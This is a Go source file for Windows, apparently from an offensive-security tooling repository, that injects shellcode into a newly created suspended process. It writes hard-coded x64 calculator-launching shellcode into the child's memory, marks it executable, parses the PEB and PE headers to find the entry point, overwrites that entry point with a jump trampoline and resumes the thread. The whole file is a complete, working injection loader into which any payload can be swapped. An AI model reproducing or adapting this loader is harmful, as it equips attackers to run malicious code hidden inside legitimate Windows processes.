// +build windows package main import ( "encoding/binary" "encoding/hex" "flag" "fmt" "log" "os" "syscall" "unsafe" // Sub Repositories "golang.org/x/sys/windows" ) func main() { verbose := flag.Bool("verbose", false, "Enable verbose output") debug := flag.Bool("debug", false, "Enable debug output") program := flag.String("program", "C:\\Windows\\System32\\notepad.exe", "The program to start and inject shellcode into") args := flag.String("args", "", "Program command line arguments") flag.Usage = func() { flag.PrintDefaults() os.Exit(0) } flag.Parse() // Pop Calc Shellcode (x64) shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3") if errShellcode != nil { log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error())) } if *debug { fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll...") } // Load DLLs and Procedures kernel32 := windows.NewLazySystemDLL("kernel32.dll") ntdll := windows.NewLazySystemDLL("ntdll.dll") if *debug { fmt.Println("[DEBUG]Loading supporting procedures...") } VirtualAllocEx := kernel32.NewProc("VirtualAllocEx") VirtualProtectEx := kernel32.NewProc("VirtualProtectEx") WriteProcessMemory := kernel32.NewProc("WriteProcessMemory") NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess") // Create child proccess in suspended state /* BOOL CreateProcessW( LPCWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation ); */ if *debug { fmt.Println(fmt.Sprintf("[DEBUG]Calling CreateProcess to start:\r\n\t%s %s...", *program, *args)) } procInfo := &windows.ProcessInformation{} startupInfo := &windows.StartupInfo{ Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED, ShowWindow: 1, } errCreateProcess := windows.CreateProcess(syscall.StringToUTF16Ptr(*program), syscall.StringToUTF16Ptr(*args), nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, startupInfo, procInfo) if errCreateProcess != nil && errCreateProcess.Error() != "The operation completed successfully." { log.Fatal(fmt.Sprintf("[!]Error calling CreateProcess:\r\n%s", errCreateProcess.Error())) } if *verbose { fmt.Println(fmt.Sprintf("[-]Successfully created the %s process in PID %d", *program, procInfo.ProcessId)) } // Allocate memory in child process if *debug { fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualAllocEx on PID %d...", procInfo.ProcessId)) } addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(procInfo.Process), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." { log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error())) } if addr == 0 { log.Fatal("[!]VirtualAllocEx failed and returned 0") } if *verbose { fmt.Println(fmt.Sprintf("[-]Successfully allocated memory in PID %d", procInfo.ProcessId)) } if *debug { fmt.Println(fmt.Sprintf("[DEBUG]Shellcode address: 0x%x", addr)) } // Write shellcode into child process memory if *debug { fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory on PID %d...", procInfo.ProcessId)) } _, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(procInfo.Process), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) if errWriteProcessMemory != nil && errWriteProcessMemory.Error() != "The operation completed successfully." { log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory.Error())) } if *verbose { fmt.Println(fmt.Sprintf("[-]Successfully wrote %d shellcode bytes to PID %d", len(shellcode), procInfo.ProcessId)) } // Change memory permissions to RX in child process where shellcode was written if *debug { fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualProtectEx on PID %d...", procInfo.ProcessId)) } oldProtect := windows.PAGE_READWRITE _, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(procInfo.Process), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect))) if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." { log.Fatal(fmt.Sprintf("Error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx.Error())) } if *verbose { fmt.Println(fmt.Sprintf("[-]Successfully changed memory permissions to PAGE_EXECUTE_READ in PID %d", procInfo.ProcessId)) } // Query the child process and find its image base address from its Process Environment Block (PEB) // https://github.com/winlabs/gowin32/blob/0b6f3bef0b7501b26caaecab8d52b09813224373/wrappers/winternl.go#L37 // http://bytepointer.com/resources/tebpeb32.htm // https://www.nirsoft.net/kernel_struct/vista/PEB.html type PEB struct { //reserved1 [2]byte // BYTE 0-1 InheritedAddressSpace byte // BYTE 0 ReadImageFileExecOptions byte // BYTE 1 BeingDebugged byte // BYTE 2 reserved2 [1]byte // BYTE 3 // ImageUsesLargePages : 1; //0x0003:0 (WS03_SP1+) // IsProtectedProcess : 1; //0x0003:1 (Vista+) // IsLegacyProcess : 1; //0x0003:2 (Vista+) // IsImageDynamicallyRelocated : 1; //0x0003:3 (Vista+) // SkipPatchingUser32Forwarders : 1; //0x0003:4 (Vista_SP1+) // IsPackagedProcess : 1; //0x0003:5 (Win8_BETA+) // IsAppContainer : 1; //0x0003:6 (Win8_RTM+) // SpareBit : 1; //0x0003:7 //reserved3 [2]uintptr // PVOID BYTE 4-8 Mutant uintptr // BYTE 4 ImageBaseAddress uintptr // BYTE 8 Ldr uintptr // PPEB_LDR_DATA ProcessParameters uintptr // PRTL_USER_PROCESS_PARAMETERS reserved4 [3]uintptr // PVOID AtlThunkSListPtr uintptr // PVOID reserved5 uintptr // PVOID reserved6 uint32 // ULONG reserved7 uintptr // PVOID reserved8 uint32 // ULONG AtlThunkSListPtr32 uint32 // ULONG reserved9 [45]uintptr // PVOID reserved10 [96]byte // BYTE PostProcessInitRoutine uintptr // PPS_POST_PROCESS_INIT_ROUTINE reserved11 [128]byte // BYTE reserved12 [1]uintptr // PVOID SessionId uint32 // ULONG } // https://github.com/elastic/go-windows/blob/master/ntdll.go#L77 type PROCESS_BASIC_INFORMATION struct { reserved1 uintptr // PVOID PebBaseAddress uintptr // PPEB reserved2 [2]uintptr // PVOID UniqueProcessId uintptr // ULONG_PTR InheritedFromUniqueProcessID uintptr // PVOID } if *debug { fmt.Println(fmt.Sprintf("[DEBUG]Calling NtQueryInformationProcess on %d...", procInfo.ProcessId)) } var processInformation PROCESS_BASIC_INFORMATION var returnLength uintptr ntStatus, _, errNtQueryInformationProcess := NtQueryInformationProcess.Call(uintptr(procInfo.Process), 0, uintptr(unsafe.Pointer(&processInformation)), unsafe.Sizeof(processInformation), returnLength) if errNtQueryInformationProcess != nil && errNtQueryInformationProcess.Error() != "The operation completed successfully." { log.Fatal(fmt.Sprintf("[!]Error calling NtQueryInformationProcess:\r\n\t%s", errNtQueryInformationProcess.Error())) } if ntStatus != 0 { if ntStatus == 3221225476 { log.Fatal("[!]Error calling NtQueryInformationProcess: STATUS_INFO_LENGTH_MISMATCH") // 0xc0000004 (3221225476) } fmt.Println(fmt.Sprintf("[!]NtQueryInformationProcess returned NTSTATUS: %x(%d)", ntStatus, ntStatus)) log.Fatal(fmt.Sprintf("[!]Error calling NtQueryInformationProcess:\r\n\t%s", syscall.Errno(ntStatus))) } if *verbose { fmt.Println("[-]Got PEB info from NtQueryInformationProcess") } // Read from PEB base address to populate the PEB structure // ReadProcessMemory /* BOOL ReadProcessMemory( HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead ); */ ReadProcessMemory := kernel32.NewProc("ReadProcessMemory") if *debug { fmt.Println("[DEBUG]Calling ReadProcessMemory for PEB...") } var peb PEB var readBytes int32 _, _, errReadProcessMemory := ReadProcessMemory.Call(uintptr(procInfo.Process), processInformation.PebBaseAddress, uintptr(unsafe.Pointer(&peb)), unsafe.Sizeof(peb), uintptr(unsafe.Pointer(&readBytes))) if errReadProcessMemory != nil && errReadProcessMemory.Error() != "The operation completed successfully." { log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory.Error())) } if *verbose { fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for PEB", readBytes)) } if *debug { fmt.Println(fmt.Sprintf("[DEBUG]PEB: %+v", peb)) fmt.Println(fmt.Sprintf("[DEBUG]PEB ImageBaseAddress: 0x%x", peb.ImageBaseAddress)) } // Read the child program's DOS header and validate it is a MZ executable type IMAGE_DOS_HEADER struct { Magic uint16 // USHORT Magic number Cblp uint16 // USHORT Bytes on last page of file Cp uint16 // USHORT Pages in file Crlc uint16 // USHORT Relocations Cparhdr uint16 // USHORT Size of header in paragraphs MinAlloc uint16 // USHORT Minimum extra paragraphs needed MaxAlloc uint16 // USHORT Maximum extra paragraphs needed SS uint16 // USHORT Initial (relative) SS value SP uint16 // USHORT Initial SP value CSum uint16 // USHORT Checksum IP uint16 // USHORT Initial IP value CS uint16 // USHORT Initial (relative) CS value LfaRlc uint16 // USHORT File address of relocation table Ovno uint16 // USHORT Overlay number Res [4]uint16 // USHORT Reserved words OEMID uint16 // USHORT OEM identifier (for e_oeminfo) OEMInfo uint16 // USHORT OEM information; e_oemid specific Res2 [10]uint16 // USHORT Reserved words LfaNew int32 // LONG File address of new exe header } if *debug { fmt.Println("[DEBUG]Calling ReadProcessMemory for IMAGE_DOS_HEADER...") } var dosHeader IMAGE_DOS_HEADER var readBytes2 int32 _, _, errReadProcessMemory2 := ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress, uintptr(unsafe.Pointer(&dosHeader)), unsafe.Sizeof(dosHeader), uintptr(unsafe.Pointer(&readBytes2))) if errReadProcessMemory2 != nil && errReadProcessMemory2.Error() != "The operation completed successfully." { log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory2.Error())) } if *verbose { fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for IMAGE_DOS_HEADER", readBytes2)) } if *debug { fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_DOS_HEADER: %+v", dosHeader)) fmt.Println(fmt.Sprintf("[DEBUG]Magic: %s", string(dosHeader.Magic&0xff)+string(dosHeader.Magic>>8))) // LittleEndian fmt.Println(fmt.Sprintf("[DEBUG]PE header offset: 0x%x", dosHeader.LfaNew)) } // 23117 is the LittleEndian unsigned base10 representation of MZ // 0x5a4d is the LittleEndian unsigned base16 represenation of MZ if dosHeader.Magic != 23117 { log.Fatal(fmt.Sprintf("[!]DOS image header magic string was not MZ")) } // Read the child process's PE header signature to validate it is a PE if *debug { fmt.Println("[DEBUG]Calling ReadProcessMemory for PE Signature...") } var Signature uint32 var readBytes3 int32 _, _, errReadProcessMemory3 := ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew), uintptr(unsafe.Pointer(&Signature)), unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&readBytes3))) if errReadProcessMemory3 != nil && errReadProcessMemory3.Error() != "The operation completed successfully." { log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory3.Error())) } if *verbose { fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for PE Signature", readBytes3)) } if *debug { fmt.Println(fmt.Sprintf("[DEUBG]PE Signature: 0x%x", Signature)) } // 17744 is Little Endian Unsigned 32-bit integer in decimal for PE (null terminated) // 0x4550 is Little Endian Unsigned 32-bit integer in hex for PE (null terminated) if Signature != 17744 { log.Fatal("[!]PE Signature string was not PE") } // Read the child process's PE file header /* typedef struct _IMAGE_FILE_HEADER { USHORT Machine; USHORT NumberOfSections; ULONG TimeDateStamp; ULONG PointerToSymbolTable; ULONG NumberOfSymbols; USHORT SizeOfOptionalHeader; USHORT Characteristics; } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER; */ type IMAGE_FILE_HEADER struct { Machine uint16 NumberOfSections uint16 TimeDateStamp uint32 PointerToSymbolTable uint32 NumberOfSymbols uint32 SizeOfOptionalHeader uint16 Characteristics uint16 } if *debug { fmt.Println("[DEBUG]Calling ReadProcessMemory for IMAGE_FILE_HEADER...") } var peHeader IMAGE_FILE_HEADER var readBytes4 int32 _, _, errReadProcessMemory4 := ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&peHeader)), unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&readBytes4))) if errReadProcessMemory4 != nil && errReadProcessMemory4.Error() != "The operation completed successfully." { log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory4.Error())) } if *verbose { fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for IMAGE_FILE_HEADER", readBytes4)) switch peHeader.Machine { case 34404: // 0x8664 fmt.Println("[-]Machine type: IMAGE_FILE_MACHINE_AMD64 (x64)") case 332: // 0x14c fmt.Println("[-]Machine type: IMAGE_FILE_MACHINE_I386 (x86)") default: fmt.Println(fmt.Sprintf("[-]Machine type UNKOWN: 0x%x", peHeader.Machine)) } } if *debug { fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_FILE_HEADER: %+v", peHeader)) fmt.Println(fmt.Sprintf("[DEBUG]Machine: 0x%x", peHeader.Machine)) } // Read the child process's PE optional header to find it's entry point /* https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header64 typedef struct _IMAGE_OPTIONAL_HEADER64 { WORD Magic; BYTE MajorLinkerVersion; BYTE MinorLinkerVersion; DWORD SizeOfCode; DWORD SizeOfInitializedData; DWORD SizeOfUninitializedData; DWORD AddressOfEntryPoint; DWORD BaseOfCode; ULONGLONG ImageBase; DWORD SectionAlignment; DWORD FileAlignment; WORD MajorOperatingSystemVersion; WORD MinorOperatingSystemVersion; WORD MajorImageVersion; WORD MinorImageVersion; WORD MajorSubsystemVersion; WORD MinorSubsystemVersion; DWORD Win32VersionValue; DWORD SizeOfImage; DWORD SizeOfHeaders; DWORD CheckSum; WORD Subsystem; WORD DllCharacteristics; ULONGLONG SizeOfStackReserve; ULONGLONG SizeOfStackCommit; ULONGLONG SizeOfHeapReserve; ULONGLONG SizeOfHeapCommit; DWORD LoaderFlags; DWORD NumberOfRvaAndSizes; IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; } IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64; */ type IMAGE_OPTIONAL_HEADER64 struct { Magic uint16 MajorLinkerVersion byte MinorLinkerVersion byte SizeOfCode uint32 SizeOfInitializedData uint32 SizeOfUninitializedData uint32 AddressOfEntryPoint uint32 BaseOfCode uint32 ImageBase uint64 SectionAlignment uint32 FileAlignment uint32 MajorOperatingSystemVersion uint16 MinorOperatingSystemVersion uint16 MajorImageVersion uint16 MinorImageVersion uint16 MajorSubsystemVersion uint16 MinorSubsystemVersion uint16 Win32VersionValue uint32 SizeOfImage uint32 SizeOfHeaders uint32 CheckSum uint32 Subsystem uint16 DllCharacteristics uint16 SizeOfStackReserve uint64 SizeOfStackCommit uint64 SizeOfHeapReserve uint64 SizeOfHeapCommit uint64 LoaderFlags uint32 NumberOfRvaAndSizes uint32 DataDirectory uintptr } /* https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header32 typedef struct _IMAGE_OPTIONAL_HEADER { WORD Magic; BYTE MajorLinkerVersion; BYTE MinorLinkerVersion; DWORD SizeOfCode; DWORD SizeOfInitializedData; DWORD SizeOfUninitializedData; DWORD AddressOfEntryPoint; DWORD BaseOfCode; DWORD BaseOfData; DWORD ImageBase; DWORD SectionAlignment; DWORD FileAlignment; WORD MajorOperatingSystemVersion; WORD MinorOperatingSystemVersion; WORD MajorImageVersion; WORD MinorImageVersion; WORD MajorSubsystemVersion; WORD MinorSubsystemVersion; DWORD Win32VersionValue; DWORD SizeOfImage; DWORD SizeOfHeaders; DWORD CheckSum; WORD Subsystem; WORD DllCharacteristics; DWORD SizeOfStackReserve; DWORD SizeOfStackCommit; DWORD SizeOfHeapReserve; DWORD SizeOfHeapCommit; DWORD LoaderFlags; DWORD NumberOfRvaAndSizes; IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32; */ type IMAGE_OPTIONAL_HEADER32 struct { Magic uint16 MajorLinkerVersion byte MinorLinkerVersion byte SizeOfCode uint32 SizeOfInitializedData uint32 SizeOfUninitializedData uint32 AddressOfEntryPoint uint32 BaseOfCode uint32 BaseOfData uint32 // Different from 64 bit header ImageBase uint64 SectionAlignment uint32 FileAlignment uint32 MajorOperatingSystemVersion uint16 MinorOperatingSystemVersion uint16 MajorImageVersion uint16 MinorImageVersion uint16 MajorSubsystemVersion uint16 MinorSubsystemVersion uint16 Win32VersionValue uint32 SizeOfImage uint32 SizeOfHeaders uint32 CheckSum uint32 Subsystem uint16 DllCharacteristics uint16 SizeOfStackReserve uint64 SizeOfStackCommit uint64 SizeOfHeapReserve uint64 SizeOfHeapCommit uint64 LoaderFlags uint32 NumberOfRvaAndSizes uint32 DataDirectory uintptr } if *debug { fmt.Println("[DEBUG]Calling ReadProcessMemory for IMAGE_OPTIONAL_HEADER...") } var optHeader64 IMAGE_OPTIONAL_HEADER64 var optHeader32 IMAGE_OPTIONAL_HEADER32 var errReadProcessMemory5 error var readBytes5 int32 if peHeader.Machine == 34404 { // 0x8664 _, _, errReadProcessMemory5 = ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader64)), unsafe.Sizeof(optHeader64), uintptr(unsafe.Pointer(&readBytes5))) } else if peHeader.Machine == 332 { // 0x14c _, _, errReadProcessMemory5 = ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader32)), unsafe.Sizeof(optHeader32), uintptr(unsafe.Pointer(&readBytes5))) } else { log.Fatal(fmt.Sprintf("[!]Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine)) } if errReadProcessMemory5 != nil && errReadProcessMemory5.Error() != "The operation completed successfully." { log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory5.Error())) } if *verbose { fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for IMAGE_OPTIONAL_HEADER", readBytes5)) } if *debug { if peHeader.Machine == 332 { // 0x14c fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_OPTIONAL_HEADER32: %+v", optHeader32)) fmt.Println(fmt.Sprintf("\t[DEBUG]ImageBase: 0x%x", optHeader32.ImageBase)) fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (relative): 0x%x", optHeader32.AddressOfEntryPoint)) fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (absolute): 0x%x", peb.ImageBaseAddress+uintptr(optHeader32.AddressOfEntryPoint))) } if peHeader.Machine == 34404 { // 0x8664 fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_OPTIONAL_HEADER64: %+v", optHeader64)) fmt.Println(fmt.Sprintf("\t[DEBUG]ImageBase: 0x%x", optHeader64.ImageBase)) fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (relative): 0x%x", optHeader64.AddressOfEntryPoint)) fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (absolute): 0x%x", peb.ImageBaseAddress+uintptr(optHeader64.AddressOfEntryPoint))) } } // Overwrite the value at AddressofEntryPoint field with trampoline to load the shellcode address in RAX/EAX and jump to it var ep uintptr if peHeader.Machine == 34404 { // 0x8664 x64 ep = peb.ImageBaseAddress + uintptr(optHeader64.AddressOfEntryPoint) } else if peHeader.Machine == 332 { // 0x14c x86 ep = peb.ImageBaseAddress + uintptr(optHeader32.AddressOfEntryPoint) } else { log.Fatal(fmt.Sprintf("[!]Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine)) } var epBuffer []byte var shellcodeAddressBuffer []byte // x86 - 0xb8 = mov eax // x64 - 0x48 = rex (declare 64bit); 0xb8 = mov eax if peHeader.Machine == 34404 { // 0x8664 x64 epBuffer = append(epBuffer, byte(0x48)) epBuffer = append(epBuffer, byte(0xb8)) shellcodeAddressBuffer = make([]byte, 8) // 8 bytes for 64-bit address binary.LittleEndian.PutUint64(shellcodeAddressBuffer, uint64(addr)) epBuffer = append(epBuffer, shellcodeAddressBuffer...) } else if peHeader.Machine == 332 { // 0x14c x86 epBuffer = append(epBuffer, byte(0xb8)) shellcodeAddressBuffer = make([]byte, 4) // 4 bytes for 32-bit address binary.LittleEndian.PutUint32(shellcodeAddressBuffer, uint32(addr)) epBuffer = append(epBuffer, shellcodeAddressBuffer...) } else { log.Fatal(fmt.Sprintf("[!]Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine)) } // 0xff ; 0xe0 = jmp [r|e]ax epBuffer = append(epBuffer, byte(0xff)) epBuffer = append(epBuffer, byte(0xe0)) if *debug { fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory to overwrite AddressofEntryPoint at 0x%x with trampoline: 0x%x...", ep, epBuffer)) } _, _, errWriteProcessMemory2 := WriteProcessMemory.Call(uintptr(procInfo.Process), ep, uintptr(unsafe.Pointer(&epBuffer[0])), uintptr(len(epBuffer))) if errWriteProcessMemory2 != nil && errWriteProcessMemory2.Error() != "The operation completed successfully." { log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory2.Error())) } if *verbose { fmt.Println("[-]Successfully overwrote the AddressofEntryPoint") } // Resume the child process if *debug { fmt.Println("[DEBUG]Calling ResumeThread...") } _, errResumeThread := windows.ResumeThread(procInfo.Thread) if errResumeThread != nil { log.Fatal(fmt.Sprintf("[!]Error calling ResumeThread:\r\n%s", errResumeThread.Error())) } if *verbose { fmt.Println("[+]Process resumed and shellcode executed") } // Close the handle to the child process if *debug { fmt.Println("[DEBUG]Calling CloseHandle on child process...") } errCloseProcHandle := windows.CloseHandle(procInfo.Process) if errCloseProcHandle != nil { log.Fatal(fmt.Sprintf("[!]Error closing the child process handle:\r\n\t%s", errCloseProcHandle.Error())) } // Close the hand to the child process thread if *debug { fmt.Println("[DEBUG]Calling CloseHandle on child process thread...") } errCloseThreadHandle := windows.CloseHandle(procInfo.Thread) if errCloseThreadHandle != nil { log.Fatal(fmt.Sprintf("[!]Error closing the child process thread handle:\r\n\t%s", errCloseThreadHandle.Error())) } } // export GOOS=windows GOARCH=amd64;go build -o goCreateProcess.exe cmd/CreateProcess/main.go // test STDERR go run .\cmd\CreateProcess\main.go -verbose -debug -program "C:\Windows\System32\cmd.exe" -args "/c whoami /asdfasdf"